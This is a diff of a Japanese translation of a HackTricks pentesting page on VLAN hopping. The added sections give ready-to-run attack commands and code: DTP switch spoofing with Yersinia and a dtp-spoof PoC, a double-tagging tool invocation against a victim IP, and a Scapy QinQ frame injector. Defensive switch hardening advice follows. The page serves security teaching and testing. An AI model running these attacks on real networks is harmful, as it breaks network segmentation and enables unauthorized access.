mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
ab13285e4d
commit
21e8846912
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続されたポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、シナリオに応じて動的(DHCP)または静的にIPアドレスを設定することが含まれます(**詳細については[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)を確認してください。**)
|
||||
スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続されたポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、シナリオに応じて動的(DHCP)または静的にIPアドレスを設定することが含まれます(**詳細については[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)を確認してください**)。
|
||||
|
||||
最初に、特定の接続ポートの特定が必要です。これは通常、CDPメッセージを通じて、または**include**マスクを使用してポートを検索することで達成できます。
|
||||
|
||||
**CDPが機能していない場合、MACアドレスを検索することでポートの特定を試みることができます**:
|
||||
**CDPが動作していない場合、MACアドレスを検索することでポートの特定を試みることができます**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
@ -14,7 +14,7 @@ SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**トランクモードに移行するには、インターフェイス設定モードに入る必要があります**:
|
||||
**トランクモードへの移行はインターフェース設定モードに入ることを伴います**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
```
|
||||
その後、DHCPを介してアドレスリクエストが行われます。DHCPが利用できない場合は、アドレスを手動で設定することもできます:
|
||||
その後、DHCPを介してアドレスリクエストが行われます。あるいは、DHCPが利用できない場合には、アドレスを手動で設定することもできます:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
@ -44,12 +44,80 @@ sudo dhclient -v eth0.60
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
接続性は、VLAN 10、20、50、および 60 のデフォルトゲートウェイに ICMP リクエストを送信することでテストされます。
|
||||
接続性は、VLAN 10、20、50、および60のデフォルトゲートウェイへのICMPリクエストを開始することでテストされます。
|
||||
|
||||
最終的に、このプロセスは VLAN セグメンテーションのバイパスを可能にし、任意の VLAN ネットワークへの制限のないアクセスを促進し、その後のアクションのための基盤を整えます。
|
||||
最終的に、このプロセスはVLANセグメンテーションのバイパスを可能にし、任意のVLANネットワークへの制限のないアクセスを促進し、その後のアクションのための基盤を整えます。
|
||||
|
||||
## References
|
||||
---
|
||||
|
||||
## その他のVLANホッピング技術(特権スイッチCLIなし)
|
||||
|
||||
前の方法は、スイッチへの認証されたコンソールまたはTelnet/SSHアクセスを前提としています。実際のエンゲージメントでは、攻撃者は通常**通常のアクセスポート**に接続されています。以下のLayer-2トリックは、スイッチOSにログインすることなく横方向にピボットすることを可能にします:
|
||||
|
||||
### 1. ダイナミックトランクプロトコル(DTP)を使用したスイッチスプーフィング
|
||||
|
||||
DTPが有効なCiscoスイッチは、ピアがスイッチであると主張する場合、喜んでトランクを交渉します。単一の**DTP “desirable”**または**“trunk”**フレームを作成することで、アクセスポートが*すべての*許可されたVLANを運ぶ802.1Qトランクに変換されます。
|
||||
|
||||
*Yersinia*やいくつかのPoCは、このプロセスを自動化します:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
ポートがトランクに切り替わると、802.1Qサブインターフェースを作成し、前のセクションで示した通りにピボットできます。最新のLinuxカーネルでは* vconfig *はもはや必要なく、代わりに* ip link *を使用します:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
```
|
||||
### 2. ダブルタグ付け (ネイティブVLANの悪用)
|
||||
|
||||
攻撃者が**ネイティブ (未タグ付け) VLAN**にいる場合、*2つ*の802.1Qヘッダーを持つ加工されたフレームは、ポートがアクセスポートモードにロックされていても、第二のVLANに「ホップ」することができます。 **VLANPWN DoubleTagging.py** (2022-2024リフレッシュ)のようなツールは、注入を自動化します:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
--nativevlan 1 \
|
||||
--targetvlan 20 \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
パケットの通過:
|
||||
1. 外側のタグ (1) は、ネイティブ VLAN に一致するため、最初のスイッチによって削除されます。
|
||||
2. 内側のタグ (20) が露出し、フレームは VLAN 20 へのトランクに転送されます。
|
||||
|
||||
この技術は、ネイティブ VLAN をデフォルトのままにし、タグなしフレームを受け入れるネットワークで 2025 年にも機能します。
|
||||
|
||||
### 3. QinQ (802.1ad) スタッキング
|
||||
|
||||
多くのエンタープライズコアは *Q-in-Q* サービスプロバイダーのカプセル化をサポートしています。 許可されている場合、攻撃者はプロバイダー (S-tag) 内に任意の 802.1Q タグ付きトラフィックをトンネリングしてセキュリティゾーンを越えることができます。 802.1ad ethertype 0x88a8 をキャプチャし、Scapy を使用して外側のタグをポップしようとします:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
inner = 30 # Customer / target VLAN
|
||||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
---
|
||||
|
||||
## 防御的推奨事項
|
||||
|
||||
1. すべてのユーザー向けポートでDTPを無効にする: `switchport mode access` + `switchport nonegotiate`。
|
||||
2. すべてのトランクでネイティブVLANを**未使用のブラックホールVLAN**に変更し、タグ付けする: `vlan dot1q tag native`。
|
||||
3. トランク上の不要なVLANをプルーニングする: `switchport trunk allowed vlan 10,20`。
|
||||
4. 不正なLayer-2アクティビティを制限するためにポートセキュリティ、DHCPスヌーピング、動的ARP検査を強制する。
|
||||
5. 802.1Qの分離に依存するのではなく、プライベートVLANまたはL3セグメンテーションを優先する。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN攻撃ツールキット – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "VLANホッピングとは?" (2024年8月) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user